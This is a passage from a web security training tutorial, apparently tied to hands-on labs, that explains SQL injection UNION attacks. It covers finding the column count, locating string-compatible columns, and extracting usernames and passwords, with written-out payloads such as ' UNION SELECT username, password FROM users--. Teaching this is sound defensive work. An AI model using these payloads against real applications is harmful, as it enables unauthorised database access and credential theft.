LAB SQL injection UNION attack, determining the number of columns returned by the query Not solved

Note

 The reason for using NULL as the values returned from the injected SELECT query is that the data types in each
column must be compatible between the original and the injected queries. Since NULL is convertible to every
commonly used data type, using NULL maximizes the chance that the payload will succeed when the column
count is correct.
 On Oracle, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table on
Oracle called DUAL which can be used for this purpose. So the injected queries on Oracle would need to look
like: ' UNION SELECT NULL FROM DUAL--.
 The payloads described use the double-dash comment sequence -- to comment out the remainder of the
original query following the injection point. On MySQL, the double-dash sequence must be followed by a space.
Alternatively, the hash character # can be used to identify a comment.

For more details of database-specific syntax, see the SQL injection cheat sheet.

Finding columns with a useful data type in an SQL injection UNION


attack
The reason for performing an SQL injection UNION attack is to be able to retrieve the results from an injected
query. Generally, the interesting data that you want to retrieve will be in string form, so you need to find one or
more columns in the original query results whose data type is, or is compatible with, string data.

Having already determined the number of required columns, you can probe each column to test whether it can
hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in
turn. For example, if the query returns four columns, you would submit:

' UNION SELECT 'a',NULL,NULL,NULL--


' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

If the data type of a column is not compatible with string data, the injected query will cause a database error,
such as:

Conversion failed when converting the varchar value 'a' to data type int.

If an error does not occur, and the application's response contains some additional content including the injected
string value, then the relevant column is suitable for retrieving string data.

LAB SQL injection UNION attack, finding a column containing text Not solved

Using an SQL injection UNION attack to retrieve interesting data


When you have determined the number of columns returned by the original query and found which columns can
hold string data, you are in a position to retrieve interesting data.

Suppose that:

 The original query returns two columns, both of which can hold string data.
 The injection point is a quoted string within the WHERE clause.
 The database contains a table called users with the columns username and password.

In this situation, you can retrieve the contents of the users table by submitting the input:

' UNION SELECT username, password FROM users--

Of course, the crucial information needed to perform this attack is that there is a table called users with two
columns called username and password. Without this information, you would be left trying to guess the names
of tables and columns. In fact, all modern databases provide ways of examining the database structure, to
determine what tables and columns it contains.
LAB SQL injection UNION attack, retrieving data from other tables Not solved

Read more

Examining the database in SQL injection attacks

Retrieving multiple values within a single column


In the preceding example, suppose instead that the query only returns a single column.

You can easily retrieve multiple values together within this single column by concatenating the values together,
ideally including a suitable separator to let you distinguish the combined values. For example, on Oracle you
could submit the input:

' UNION SELECT username || '~' || password FROM users--

This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query
concatenates together the values of the username and password fields, separated by the ~ character.

The results from the query will let you read all of the usernames and passwords, for example:

...
administrator~s3cure
wiener~peter
carlos~montoya
...

Note that different databases use different syntax to perform string concatenation. For more details, see the SQL
injection cheat sheet.

LAB SQL injection UNION attack, retrieving multiple values in a single column Not solved

You might also like